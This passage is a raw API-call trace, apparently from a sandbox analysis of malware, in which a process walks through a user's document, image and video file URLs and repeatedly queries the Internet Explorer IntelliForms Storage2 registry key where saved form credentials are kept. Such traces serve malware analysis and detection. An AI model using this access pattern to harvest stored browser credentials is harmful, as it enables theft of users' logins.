(lpString="file:///C:/Users/EEBsYm5/Desktop/i2yGz/cJApU0d7_RSkgxX-ms/hdLUVIm6akZR29NA.jpg") returned 78 [0078.109] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.109] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.109] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.109] CoTaskMemFree (pv=0x6531f0) [0078.109] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/ouo1CE9Vu1S-/dWZN1dKW-NW6.bmp", lpSrch="?") returned 0x0 [0078.109] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/ouo1CE9Vu1S-/dWZN1dKW-NW6.bmp") returned 79 [0078.109] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.110] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.110] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.110] CoTaskMemFree (pv=0x6533e8) [0078.110] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/5dGHS8naDfRYefptC_i.csv", lpSrch="?") returned 0x0 [0078.110] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/5dGHS8naDfRYefptC_i.csv") returned 69 [0078.110] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.110] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.110] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.110] CoTaskMemFree (pv=0x664940) [0078.110] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/b3fewGYYcDqBb8rv.ppt", lpSrch="?") returned 0x0 [0078.110] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/b3fewGYYcDqBb8rv.ppt") returned 53 [0078.110] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.110] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.110] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.110] CoTaskMemFree (pv=0x666c38) [0078.110] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/5yVv_Q1eC0CV.pptx", lpSrch="?") returned 0x0 [0078.110] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/5yVv_Q1eC0CV.pptx") returned 52 [0078.110] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.111] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.111] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.111] CoTaskMemFree (pv=0x666da0) [0078.111] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/l3FrTd.jpg", lpSrch="?") returned 0x0 [0078.111] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/l3FrTd.jpg") returned 54 [0078.111] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.111] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.111] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.111] CoTaskMemFree (pv=0x666f08) [0078.111] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/lvA2V2PJODrd8b.xlsx", lpSrch="?") returned 0x0 [0078.111] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/lvA2V2PJODrd8b.xlsx") returned 54 [0078.111] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.111] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.111] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.111] CoTaskMemFree (pv=0x667070) [0078.111] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/s512zJYfMujQOxscA-Rl.docx", lpSrch="?") returned 0x0 [0078.111] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/s512zJYfMujQOxscA-Rl.docx") returned 60 [0078.112] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.112] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.112] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.112] CoTaskMemFree (pv=0x6572f0) [0078.112] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/sITlRIKp26ZRgZ5hQFnP/zOJJ7igB2Yp.bmp", lpSrch="?") returned 0x0 [0078.112] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/sITlRIKp26ZRgZ5hQFnP/zOJJ7igB2Yp.bmp") returned 70 [0078.112] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.112] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.112] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.112] CoTaskMemFree (pv=0x664b08) [0078.112] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/i2yGz/cJApU0d7_RSkgxX-ms/2xEHXY-aE2j/J%20gWRKyGeJYVnq0tdMb/d14HDdiXVfd.bmp", lpSrch="?") returned 0x0 [0078.112] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/i2yGz/cJApU0d7_RSkgxX-ms/2xEHXY-aE2j/J%20gWRKyGeJYVnq0tdMb/d14HDdiXVfd.bmp") returned 107 [0078.112] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.112] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.112] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.112] CoTaskMemFree (pv=0x65b5e8) [0078.113] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/AppData/Roaming/5TaAqda2.jpg", lpSrch="?") returned 0x0 [0078.113] lstrlenW (lpString="file:///C:/Users/EEBsYm5/AppData/Roaming/5TaAqda2.jpg") returned 53 [0078.113] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.113] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.113] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.113] CoTaskMemFree (pv=0x66e0f8) [0078.113] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/I-ErSALO5I4NQ.odt", lpSrch="?") returned 0x0 [0078.113] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/I-ErSALO5I4NQ.odt") returned 63 [0078.113] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.113] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.113] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.113] CoTaskMemFree (pv=0x657598) [0078.113] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/AppData/Roaming/cbHvrA-JuiQPhX84OU.mkv", lpSrch="?") returned 0x0 [0078.113] lstrlenW (lpString="file:///C:/Users/EEBsYm5/AppData/Roaming/cbHvrA-JuiQPhX84OU.mkv") returned 63 [0078.113] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.113] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.113] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.113] CoTaskMemFree (pv=0x657730) [0078.114] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/63TE.jpg", lpSrch="?") returned 0x0 [0078.114] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/63TE.jpg") returned 52 [0078.114] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.114] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.114] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.114] CoTaskMemFree (pv=0x66e260) [0078.114] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/7fAW.pps", lpSrch="?") returned 0x0 [0078.114] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/7fAW.pps") returned 43 [0078.114] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.114] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.114] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.114] CoTaskMemFree (pv=0x62caf0) [0078.114] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/ouo1CE9Vu1S-/la3WIMf5.png", lpSrch="?") returned 0x0 [0078.114] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/ouo1CE9Vu1S-/la3WIMf5.png") returned 75 [0078.115] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.115] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.115] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.115] CoTaskMemFree (pv=0x670220) [0078.115] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/hBa-%204RMd4XI119PfN2m.ppt", lpSrch="?") returned 0x0 [0078.115] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/hBa-%204RMd4XI119PfN2m.ppt") returned 61 [0078.115] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.115] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.115] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.115] CoTaskMemFree (pv=0x6578c8) [0078.115] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/bIa-K0jpcCgWyGOd63K.xlsx", lpSrch="?") returned 0x0 [0078.115] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/bIa-K0jpcCgWyGOd63K.xlsx") returned 59 [0078.115] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.115] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.115] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.115] CoTaskMemFree (pv=0x659530) [0078.115] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/zH1hPQQQTMf8JSeF.ods", lpSrch="?") returned 0x0 [0078.115] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/zH1hPQQQTMf8JSeF.ods") returned 53 [0078.115] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.115] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.115] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.115] CoTaskMemFree (pv=0x66e5a8) [0078.115] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Videos/D9j5/C6q%20qsoiIPl_.flv", lpSrch="?") returned 0x0 [0078.116] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Videos/D9j5/C6q%20qsoiIPl_.flv") returned 55 [0078.116] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.116] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.116] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.116] CoTaskMemFree (pv=0x66e710) [0078.116] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/i2yGz/tv-CoSXW_-GMrESr.bmp", lpSrch="?") returned 0x0 [0078.116] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/i2yGz/tv-CoSXW_-GMrESr.bmp") returned 59 [0078.116] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.116] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.116] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.116] CoTaskMemFree (pv=0x6596b0) [0078.116] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/RUs%20vn.png", lpSrch="?") returned 0x0 [0078.116] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/RUs%20vn.png") returned 45 [0078.116] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.116] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.116] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.116] CoTaskMemFree (pv=0x62e228) [0078.116] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Videos/f9bjtMCEKcoW7B3%209U/GnEsVEH-/RrgnXUltqQac.mkv", lpSrch="?") returned 0x0 [0078.116] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Videos/f9bjtMCEKcoW7B3%209U/GnEsVEH-/RrgnXUltqQac.mkv") returned 78 [0078.116] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.116] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.116] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.116] CoTaskMemFree (pv=0x6535e0) [0078.117] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Videos/D9j5/THD6S4EzKqH.flv", lpSrch="?") returned 0x0 [0078.117] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Videos/D9j5/THD6S4EzKqH.flv") returned 52 [0078.117] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.117] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.117] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.117] CoTaskMemFree (pv=0x66e968) [0078.117] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Videos/f9bjtMCEKcoW7B3%209U/v-E-4OqZV%20NhuBotm.flv", lpSrch="?") returned 0x0 [0078.117] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Videos/f9bjtMCEKcoW7B3%209U/v-E-4OqZV%20NhuBotm.flv") returned 76 [0078.117] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.117] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.117] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.117] CoTaskMemFree (pv=0x6537d8) [0078.117] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/ouo1CE9Vu1S-/bKAxwe.png", lpSrch="?") returned 0x0 [0078.117] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/ouo1CE9Vu1S-/bKAxwe.png") returned 73 [0078.117] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.117] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.117] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.117] CoTaskMemFree (pv=0x670558) [0078.117] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/LpqBcAEKO/3XrtR5q6WS228vxvI.jpg", lpSrch="?") returned 0x0 [0078.117] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/LpqBcAEKO/3XrtR5q6WS228vxvI.jpg") returned 81 [0078.117] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.117] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, 